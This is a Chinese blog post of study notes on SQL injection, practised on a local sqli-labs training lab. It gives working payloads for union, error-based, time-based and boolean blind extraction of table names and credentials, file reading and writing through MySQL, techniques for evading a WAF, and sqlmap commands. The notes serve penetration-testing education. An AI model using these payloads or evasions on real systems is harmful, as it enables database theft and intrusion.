【网安第二章】SQL注入

于 2024-08-11 23:14:30 发布
阅读量382 收藏 10
点赞数 5
文章标签： sql adb 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lyj1597374034/article/details/141113980
版权

文章目录

MYSQL基础语法

1. union 合并查询

2个特性：

  • 前面查询的语句 和 后面的查询语句 结果互不干扰！
  • 前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致

2. order by

可以用来踩一共有多少列

order by 1 2 3 4 5

3. 系统库

1.information_schema 库：是信息数据库，其中保存着关于MySQL服务器所维护的所有其他数据库的信息；

例如数据库或表的名称，列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表：提供了当前MySQL实例中所有数据库信息， show databases结果取之此表。

TABLES表：提供了关于数据中表的信息。table_name

COLUMNS表：提供了表的列信息，详细描述了某张表的所有列以及每个列的信息。column_name

image-20240804202836157

2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库：PERFORMANCE_SCHEMA，主要用于收集数据库服务器性能参数。内存数据库，数据放在内存中直接操作的数据库。相对于磁盘，内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库，类似于sql server中的master表，主要负责存储数据库的用户（账户）信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除，如果对mysql不是很了解，也不要轻易修改这个数据库里面的表信息。
常用举例：在mysql.user表中修改root用户的密码

4、sys库具有1个表，100个视图。
sys库是MySQL 5.7增加的系统数据库，这个库是通过视图的形式把information_schema和performance_schema结合起来，查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源，哪张表访问最多等。

MYSQL手工注入

1. 基础步骤

  1. 判断有无注入点。

    • and 1=1
    • 随便输入内容，如果报错说找不到，则说明有sql注入点。

  2. 猜解列名数量

  • order by 1 / 2 / 3 / 4
  1. 通过报错的方式， 判断回显点
  • id = -1 union select 1,2,3
  • 查看页面，1，2，3是否出现在页面上，就可以知道页面显示的是第几列。（即回显点）
  1. 信息收集

  • 数据库版本：version()

  • 如果是5.0以上，那么存在系统库：information_schema 含有 SCHEMATA、 TABLES、 COLUMNS三张表

  • 库名：database()

    假如得到 ‘security’

  1. 使用SQL进行注入

  • id = -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= database()

    查找security库的所有表名

    • group_concat：因为表名可能有许多个，但页面只显示一个值。所以用group_concat将所有表名合并为一个值。
    • 注意为啥id=-1，是因为要查一条部存在的数据，这样union后面的结果就会显示在页面上。

  • id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’

​ 查找users表的所有列名（假如上面查出一个users表）

很明显，上面的无法执行成功，因为含有单引号。

解决方法：直接把users替换为16进制。（直接用百度的工具将users转换为16进制：0x7573657273）

这样就不需要输入单引号了。

id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

  • 得到表名、列名。然后可以直接查数据了。

  • id = -1 union select 1,2,(select group_concat(username,0x3a,password) from users)

高权限注入

前提：

  1. 用户必须是root
  2. 必须是高版本mysql

0.mysql表权限介绍

  1. mysql库中存在4个控制权限的表
+ User表：存放用户账户信息以及全局级别（所有数据库）权限，决定了来自哪些主机的哪些用户可以访问数据库实例，如果有全局权限则意味着对所有数据库都有此权限 
+ Db表：存放数据库级别的权限，决定了来自哪些主机的哪些用户可以访问此数据库 
+ Tables_priv表：存放表级别的权限，决定了来自哪些主机的哪些用户可以访问数据库的这个表 
+ Columns_priv表：存放列级别的权限，决定了来自哪些主机的哪些用户可以访问数据库表的这个字段

补充：Procs_priv表：存放存储过程和函数级别的权限

  1. mysql权限表的验证过程为
先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在，存在则通过验证。

通过身份认证后，进行权限分配，
按照user，db，tables_priv，columns_priv的顺序进行验证。
即先检查全局权限表user，
1. 如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db, tables_priv, columns_priv；
2. 如果为N，则到db表中检查此用户对应的具体数据库，并得到db中为Y的权限；
3. 如果db中为N，则检查tables_priv中此数据库对应的具体表，取得表中的权限Y
4. 以此类推。
  1. 查看mysql有哪些用户？

select user,host from mysql.user;

  1. 查看用户对应权限
    select * from user where user=‘root’ and host=‘localhost’\G; #所有权限都是Y ，就是什么权限都有

  2. 创建 mysql 用户

    • 有两种方式创建MySQL授权用户

      1. 执行create user/grant命令（推荐方式）
        CREATE USER ‘test1’@‘localhost’ IDENTIFIED BY ‘12345’;
      2. 通过insert语句直接操作MySQL系统权限表

6.只提供id查询权限
grant select(id) on test.temp to test1@‘localhost’ identified by ‘123456’;

7.把普通用户变成管理员
GRANT ALL PRIVILEGES ON *.* TO ‘test1’@‘localhost’ WITH GRANT OPTION;

8.删除用户
drop user test1@‘localhost’;

1. 查看user

  • id=-1 union select 1,user(),3

image-20240806002135292

2. 高权限注入

流程和手工注入差不多，但是需要确保user()是root用户

  1. 判断有无注入点。

    • and 1=1
    • 随便输入内容，如果报错说找不到，则说明有sql注入点。

  2. 猜解列名数量

  • order by 1 / 2 / 3 / 4
  1. 通过报错的方式， 判断回显点
  • id = -1 union select 1,2,3
  • 查看页面，1，2，3是否出现在页面上，就可以知道页面显示的是第几列。（即回显点）

  1. 查看user()是否是root。是的话才能高权限注入。

  2. 信息收集

  • 数据库版本：version()

  • 如果是5.0以上，那么存在系统库：information_schema 含有 SCHEMATA、 TABLES、 COLUMNS三张表

  • 库名：database()

    假如得到 ‘security’

  1. 查找当前mysql有啥数据库?

id = -1 union select 1,group_concat(shema_name),3 from information_schema.schemata limit 0,1

  1. 查找某个库的所有表名
  • id = -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 0x74657374
  1. 查找列名
  • id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’

​ 查找users表的所有列名（假如上面查出一个users表）

很明显，上面的无法执行成功，因为含有单引号。

解决方法：直接把users替换为16进制。（直接用百度的工具将users转换为16进制：0x7573657273）

这样就不需要输入单引号了。

id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7431

  • 得到表名、列名。然后可以直接查数据了。

  • id=-2 union select 1,name,pass from test.t1

SQL注入之文件读写

前提：

  1. 用户必须是root
  2. 必须是高版本mysql

1. 文件读写注入的原理

就是利用文件的读写权限进行注入，它可以写入一句话木马，也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv，该选项限制了mysql导出文件的权限

secure_file_priv选项

  • linux
    cat etc/conf

  • win
    www/mysql / my.ini

  • SQL语句

    show global variables like ‘%secure%’ 查看mysql全局变量的配置

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

3. MYSQL读取文件函数

使用函数：load_file()

后面的路径可以是单引号，0x，char转换的字符。

image-20240811165027268

image-20240811165201940

一个思路，如果不回显，可以查看网页源代码F12。

4. 文件读取难点：获取路径

  1. 部署网站的常见路径

image-20240811170011734

  1. 常见获取方式

  2. 报错显示

image-20240811170114040

  1. 遗留文件

比如phpinfo.php文件

image-20240811170324812

  1. 漏洞报错
  2. 平台配置文件

5. MYSQL写入文件

使用函数：Into Outfile（能写入多行，按格式输出）和 into Dumpfile（只能写入一行且没有输出格式）

outfile 后面不能接0x开头或者char转换以后的路径，只能是单引号路径

image-20240811170601100

select 1,‘mc’,3 into outfile ‘d:/d.txt’

基础防御

1. 魔术引号magic_quotes_gpc

在php.ini文件中
magic_quotes_gpc = On开启
magic_quotes_gpc = Off关闭

在magic_quotes_gpc=On的情况下，如果输入的数据有单引号（’）、双引号（”）、反斜线（）与 NUL（NULL 字符）等字符都会被加上反斜线。

image-20240811172455284

2. 函数

  • 数据类型判断
  • 转义函数。

数据类型

1. 数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入，一般被叫做数字型注入点，缘由是其注入点 id 类型为数字，在大多数的网页中，诸如 查看用户个人信息，查看文章等，大都会使用这种形式的结构传递id等信息，交给后端，查询出数据库中对应的信息，返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where id=1 and 1=1

2. 字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式，其注入点 name 类型为字符类型，所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号，可以是单引号或者是双引号。若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

数字型和字符型区别：

image-20240811175347835

mysql机制：只会获取字符串的前面的数字，后面随便输也不会生效。

也就是上面那条的执行和

SELECT * FROM users WHERE id=‘1’ LIMIT 0,1; 是一样的。

image-20240811175436663

所以只通过 and 1=1不一定能确定是否是数字型。还要添加上 and 1=2未回显才能确定是数字型。

3. 搜索型注入点（模糊查询）

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面，而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句，其原形大致为：select * from 表名 where 字段 like '%关键字%' 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

4. xx型注入点

其他型：也就是由于SQL语句拼接方式不同，在SQL中的实际语句为：，其本质为（xx’) or 1=1 # ）

常见的闭合符号：’ ‘’ % ( {

这节是介绍，尝试不同的闭合符，以符合mysql的语法

数据提交方式

1. GET方式注入

get注入方式比较常见，主要是通过url中传输数据到后台，带入到数据库中去执行，可利用联合注入方式直接注入

2. POST方式注入

post提交方式主要适用于表单的提交，用于登录框的注入

方法：利用BurpSuite抓包进行重放修改内容进行，和get差别是需要借助抓包工具进行测试，返回结果主要为代码，也可转化为网页显示

3. Request方式注入

概念：超全局变量 PHP中的许多预定义变量都是“超全局的”，这意味着它们在一个脚本的全部作用域中都可以用，这些超全局变量是：
$_REQUEST（获取GET/POST/COOKIE）COOKIE在新版本已经无法获取了
$_POST（获取POST传参）
$_GET（获取GET传参）
$_COOKIE（获取COOKIE传参）
$_SERVER（包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组）

image-20240811185259716

4. HTTP头注入

  • 什么是Header头？

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行，一个或者多个头域，一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头，请求头，响应头和实体头四个部分

  • 什么是Header头部注入？

header注入，该注入是指利用后端验证客户端信息（比如常用的cookie验证）或者通过header中获取客户端的一些信息（比如User-Agent用户代理等其他header字段信息），因为这些信息在某些地方是会和其他信息一起存储到数据库中，然后再在前台显示出来，又因为后台没有经过相对应的信息处理所以构成了sql注入。

POST提交SQL注入

Less-11 POST - Error Based - Single quotes- String

(基于错误的POST型单引号字符型注入)

image.png

用burpsuit，抓包修改参数

image.png

联合查询union select测试payload

uname=admin’ union select 1,2 --+&passwd=admin&submit=Submit

爆库payload

uname=admin’ union select 1,database() --+&passwd=admin&submit=Submit

Less-20 POST - Cookie injections - Uagent field - Error based

(基于错误的cookie头部POST注入)

单引号，报错型，cookie型注入。

image.png

存在魔术引号

image.png

直接cookie注入，进行绕过

Cookie: uname=-admin’ union select 1,2,database()–+

image.png

好处：

  • 绕过常规的防御手段

报错盲注

1. 相关mysql函数解释

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数：XML_document 是String格式，为XML文档对象的名称，文中为DOC

第二个参数：XPath_string(Xpath格式字符串)

第三个参数：new_value,String格式，替换查找到的符合条件的数据

updatexml（XML_document,XPath_String,new_value）;

‘or updatexml(1,concat(0x7e,database()),0)or’

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数：XML_document 是String格式，为XML文档对象的名称，文中为DOC

第二个参数：XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

’ or extractvalue(1,concat(0x7e,database())) or’

’ union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用

image.png

image.png

2. union结合报错盲注

  1. 得到闭合符

image-20240811194153907

可知闭合符为单引号。

  1. order by

image-20240811194036068

如上，当报错了，得到的回显是报错信息。可得知，只有两列。

  1. 使用extractvalue，输入错误的Xpath，使其强制报错，并且从报错信息得到语句执行的结果。

image-20240811194652788

如上，虽然报错，但是把select语句执行了。

所以，后面也可以按上面的步骤继续执行了。

  1. 获取表名

image-20240811195107962

3. or结合报错盲注

’ or extractvalue(1,concat(0x7e,database())) or’

image-20240811195422964

延时注入

1.知识储备：

  • sleep（）： Sleep 函数可以使计算机程序（进程，任务或线程）进入休眠

使用sleep可以使查询数据休眠指定时间

image-20240811195757116

  • if（）： if 是 计算机编程语言一个关键字，分支结构的一种

if（a,b,c）：可以理解在java程序中的三目运算符，a条件成立 执行b, 条件不成立，执行c

image-20240811195911155

  • mid(a,b,c): 从b开始，截取a字符串的c位

  • substr(a,b,c)： 从b开始，截取字符串a的c位

  • left(database(),1),database() : left(a,b)从左侧截取a的前b位

  • length(database())=8 ： 判断长度

  • ascii(x)=100： 判断x的ascii值是否为100

2. if与sleep结合使用：

image-20240811200115694

达到延时数据显示，从而通过数据显示的时间判断数据对错!

image-20240811200351285

等5秒钟，才会显示。

  • 不推荐用，数据不准确。而且这个延时受网络因素影响。

3. if 与sleep和length猜取数据库长度。

image-20240811200755660

4. 使用mid或substr来单独猜取每一位

image-20240811202232500

5. 注意事项

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

布尔盲注

1.什么是布尔盲注？

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

返回False时：

image.png

返回True时：

image.png

2.如何进行布尔盲注？

注入流程：

image.png

3.靶场案例演示——二分法

1.猜解数据库的名字

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>64–+ 正常（二分法）

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>95–+ 正常（二分法）

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>115–+ 正常（二分法）

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>116–+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))=115–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),2,1))=101–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),3,1))=99–+ 正常`

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表明名

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注：select下的limit是第几个表。

substr下的是截取的表内容。

当前库下（注入点连接的数据库）第一个表ASCII码为114 解码为r

当前库下（注入点连接的数据库）第一个表ASCII码为101 解码为e

当前库下（注入点连接的数据库）第一个表ASCII码为… 解码为referer

image.png

4. 总结归纳：

盲注分为三种：

1.布尔型盲注： 根据页面返回的真假来判断的即为布尔型盲注

2.时间型盲注： 根据页面返回的时间来判断的即为时间型盲注

3.报错型盲注 ：根据页面返回的对错来判断的即为报错型盲注

加解密注入

  • 抓包，如果得到的是密文，使用一些解密工具，得到原文和密文，判断加密方法。
  • 这个时候，将注入语句加密，再用报文发出去，便能成功注入。

课程展示的是base64

base64密文最后一般是两个等号==

堆叠注入

条件：

  • Mysql才支持

原理：

  • 就是分号后的语句一并被执行了。

image-20240811210150708

堆叠注入和union的区别

  • union仅可以用来执行查询语句

  • 堆叠注入可以执行的是任意语句

WAF绕过

  • WAF拦截原理：WAF从规则库中匹配敏感字符进行拦截。

image-20240811211903749

1.更改提交方式

  • get 改为 post

  • 前提是网站支持（即支持post也能接受）

2. 关键词大小写绕过

    有的WAF因为规则设计的问题，只匹配纯大写或纯小写的字符，对字符大小写混写直接无视，这时，我们可以利用这一点来进行绕过

    举例： union select ---> unIOn SeLEcT

3.编码绕过

    针对WAF过滤的字符编码，如使用URL编码，Unicode编码，十六进制编码，Hex编码等.

    举例：union select 1,2,3# =union%0aselect 1\u002c2,3%23

4. 双写绕过

    部分WAF只对字符串识别一次，删除敏感字段并拼接剩余语句，这时，我们可以通过双写来进行绕过。

    举例：UNIunionON ，SELselectECT anandd

5. 换行(\N)绕过

    举例：select * from admin where username = \N union select 1,user() from admin

6. 注释符内联注释绕过：

    union selecte =/*!union*/ select

    注释符里感叹号后面的内容会被mysql执行。
  • 案例：

假如安全狗可以匹配database()

我们可以使用内联注释跳过匹配。

image-20240811214303590

  • 思路学习

假如尝试了union select被拦截了，尝试下分别添加union和select，看看安全狗是否只会匹配连贯的union 和select

7. HTTP参数污染

    对目标发送多个参数，如果目标没有多参数进行多次过滤，那么WAF对多个参数只会识别其中的一个。

    举例：?id=1&id=2&id=3
    
设想情况：
- 用户输入的：
    ?id=1/**&id=-1 union select 1,2,3;*/
- 安全狗看到的：
	?id=1/*...*/
- 后台执行的：（PHP默认获取最后一个参数）    
    ?&id=-1 union select 1,2,3;*/
如此，就绕过了安全狗。

原理上来看，由于两个软件系统（安全狗 和 后台服务器）的解析规则不一致，所以导致存在漏洞。所以以后可以重点关注，两个软件系统的不一致的地方，从而进行利用。

8.好使的奇技淫巧

  1. 联合绕过：union /*!--+/*%0aselect/*!1,2,3*/ --+

以上实际等价于

union --+
select 1,2,3

所以可以跳过安全狗的拦截。

思路学习：

  • %0a是换行，换行很重要！
  1. order by绕过：order%20/*//--/*/ by 3

以上等价于

order by 3

思路学习：

  • %20是空格。
  • 如果仅仅是order /**/ by 3是无法绕过的，加一个%20安全狗就无法识别了
  1. from绕过： /*!06447%23%0afrom*/

9. 总结

WAF绕过的思路就是让WAF的检测规则，识别不到你所输入的敏感字符，利用上述所介绍的知识点，灵活结合各种方法，从而可以增加绕过WAF的可能性**

sqlmap

1、Sqlmap简介：

Sqlmap是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎，针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式：

Sqlmap全面支持六种SQL注入技术：

  • 基于布尔类型的盲注：即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注：即不能根据页面返回的内容判断任何信息，要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入：即页面会返回错误信息，或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入：在可以使用Union的情况下的注入。
  • 堆查询注入：可以同时执行多条语句时的注入。
  • 带外注入：构造SQL语句，这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式，攻击者可以收集数据或可能控制数据库的行为。

sqlmap(get)

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1，判断其是否存在注入的命令如下：

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要加双引号，如下所示。

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

运行完判断是否存在注入的语句后，爆出一大段代码，这里有三处需要选择的地方：第一处的意思为检测到数据库可能是MySQL，是否需要跳过检测其他数据库；第二处的意思是在“level1、risk1”的情况下，是否使用MySQL对应的所有Payload进行检测；第三处的意思是参数 id存在漏洞，是否要继续检测其他参数，一般默认按回车键即可。

常用命令：

-u:用于get提交方式，后面跟注入的url网址
--level
--risk

--dbs：获取所有数据库
--tales：获取所有数据表
--columns：获取所有字段
--dump：打印数据

-D：查询选择某个库
-T：查询选择某个表
-C：查询选择某个字段

level：执行测试的等级（1~5，默认为1），使用-level参数并且数值>=2的时候会检查cookie里面的参数，当>=3时检查user-agent和refereer

risk：执行测试的风险（0~3,默认为1），默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加or语句的sql注入

例子一：

image-20240811223746906

查找test库的所有表

例子二：

image-20240811223834873

查找表的所有字段

例子三：

image-20240811223934963

查找字段的值

sqlmap(post)

1. 注入方式一

1.用Burp抓包，然后保存抓取到的内容。例如：保存为1.txt,然后把它放至某个目录下

image.png

2.列数据库:

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

可以使用 * 指定需要测试的参数（不推荐）

image-20240811225707144

在1.txt中使用星号

3.猜表

选择一个数据库，比如选test

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables

image.png

4.猜列

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns

image.png

2. 注入方式二：自动搜索表单的方式

sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/index.php” --forms

image.png

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载？ [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试，您想要包括所有针对“MySQL”扩展提供的级别（1）和风险（1）值的测试吗？[Y/n] 输入"N"

POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人（如果有的话）吗？[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入？ 输入"Y"

image.png

常用命令：

-r表示加载一个文件，-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data
lcxc
关注
  • 5
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入和sql-labs通关1-18（手工注入、高权限注入、文件读写、提交方式、查询方式、WAF绕过、sqlmap）
m0_61506558的博客
07-25 855
对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。......
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
杨秀璋的专栏
11-01 1万+
这是作者的系列网络安全自学教程，主要是关于网安工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。前文分享了Web渗透的第一步工作，涉及网站信息、域名信息、端口信息、敏感信息及指纹信息收集。这篇文章换个口味，将分享机器学习在安全领域的应用，并复现一个基于机器学习（逻辑回归）的恶意请求识别。
SQL注入入门（一）——SQL注入初认识
Pz_mstr's Blog
08-13 1197
揭开SQL注入的神秘面纱
SQL注入基础
weixin_45427676的博客
10-21 1322
文章目录SQL注入简介基本类型一、union注入（Less-1）（1）基础知识（2）注入过程1、判断是否存在注入2、判断字段3、判断回显位4、查询数据库5、查询表名6、查询表中的列7、查询用户及密码二、boolean注入（Less-8）（1）基础知识（2）注入过程 SQL注入简介 通过把SQL命令插入到Web表单或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，SQL注入目前黑客
SQL注入-SQL注入基础
qq_25899635的博客
05-22 923
SQL注入原理 语言分类：解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令，然后在运行时直接由使用该语言的计算机执行这些指令。 在解释型语言中，如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行，从而使得程序依据用户输入执行有可能存在恶意行为的代码。 例如：在与用户交互的程序中，用户的输...
sql注入入门
lelemom的博客
11-21 685
参考文章：https://www.cnblogs.com/sdya/p/4568548.html 正常的语句 select * from users where username='marcofly' and password=md5('test') 异常操作： 在用户名输入框中输入:’ or 1=1#,密码随便输入，这时候的合成后的SQL查询语句为： 　　select * from u...
[网络安全自学篇] 五.IDA反汇编工具初识及逆向工程解密实战
杨秀璋的专栏
08-08 2万+
这是作者的系列网络安全自学教程，主要是关于网安工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。上一篇文章分享了实验吧CFT实战的题目，涉及WEB渗透和隐写术常见题型，包括“这是什么”、“天网管理系统”、“忘记密码”、“false”、“天下武功唯快不破”和“隐写术之水果、小苹果”；这一篇文章将详细讲解IDA Pro反汇编工具的基础用法，并简单讲解一个EXE逆向工程解密实战方法。希望对入门的博友有帮助，大神请飘过，谢谢各位看官！
高性能零售IT系统的建设05-从0打造一个每秒万级并发的互联网交易系统的技术全架构
lifetragedy的专栏
10-13 2996
亿万级的流量、每秒万级的并发的大型零售商超金融类应用如何设计与架构？如何面对汹涌的流量？本篇以全景式架构设计展示并结合一个个生产实例带你一步步深入了解如何应对大规模的高并发高流量的业务场景系统架构之美。
【网络安全】应用实践题（无答案）
计算机小白努力学习
08-09 1541
第1章 网络安全概述 (1) 安装、配置构建虚拟局域网（上机完成）： 下载并安装一种虚拟机软件，配置虚拟机并构建虚拟局域网。 (2) 下载并安装一种网络安全检测软件，对校园网安全检测并简要分析。 (3) 通过调研及参考资料，写出一份有关网络安全威胁的具体分析资料。 (4) 通过调研及借鉴资料，写出一份分析网络安全问题的报告。 解释下列网络信息安全的要素： (5)举例说明保密性、完整性、可用性 保密性指网络中的数据必须按照数据的拥有者的要求保证一定的秘密性，不会被未 授权的第三方非法获知。具有敏感性的秘密信息
红队系列-网络安全知识锦囊(持续更新)
最新发布
aming小老弟
11-09 826
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
sql注入学习入门篇
12-16
sql注入学习入门篇
SQL注入初学
W1cked的博客
03-06 250
title: sql注入 date: 2019-02-27 14:55:42 tags: 日常学习 0x00 什么是SQL 结构化查询语言(Structured Query Language)简称SQL，是一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统；同时也是数据库脚本文件的扩展名。 0x01 MYSQL简介 MYSQL是一种关系数据库...
Sql注入的基础
lml_0916的博客
08-06 1360
攻击者利用web应用程序对用户输入验证上的疏忽，在输入的数据中包含对某些数据库系统有特殊意义的符号或命令，让攻击者有机会直接对后台数据系统下达指令，，进而实现对后台数据库乃至整个应用系统的入侵。简单解释由于代码的不完全或者是存在一些不安全的过滤，导致用户在输入的时候带入了不安全的数据（非法数据）；比如说单引号、双引号、联合查询、盲注、闭合等等，然后在输入的时候就可以输入非法的数据。...
sql注入入门学习
weixin_53146913的博客
07-20 490
MySQl注入的一般流程
SQL注入入门
qq_46151129的博客
10-04 103
SQL基础 SQL注入：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。 原理 通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作。 产生原因 1.不当的类型处理； 2.不安全的数据库配置； 3.不合理的查询集处理； 4.不当的错误处理； 5.转义
SQL注入——入门篇
热门推荐
个人笔记
07-09 4万+
SQL注入 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q 插入链接 Ctrl + L 插入代码 Ctrl + K 插入图片 Ctrl + G 提升标题 Ctrl + H 有序列表 Ctrl + O 无序列表 Ctrl + U 横线 Ctrl + R 撤销 Ctrl + Z 重做 ...
sql注入--入门篇
小虾米
03-20 938
首先，需要先学习一下SQL语句，至少知道怎么用。具体可以参考w3school。其次，需要了解各种各种数据库的结构。例如mysql数据库，有information_schema库，库里有schemata，tables，columns表，表里还有各种字段。这里推荐一下适合SQL注入入门的资源： sqli-labs环境搭建： https://github.com/Audi-1/sqli-labs MyS
SQL注入基础知识
hirak0的博客
11-11 1189
SQL注入概念 数据库基本概念 相关术语 数据 数据是指对客观事件进行记录并可以鉴别的符号，是对客观事物的性质、状态以及相互关系等进行记载的物理符号或这些物理符号的组合。它是可识别的、抽象的符号。 具体见百度百科 数据库 数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。 常见的数据库有：Access、MSSQL、Oracle、 SQLITE、 MySQL等 具体见百度百科 数据库管理系统 数据库管理系统(Database
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元
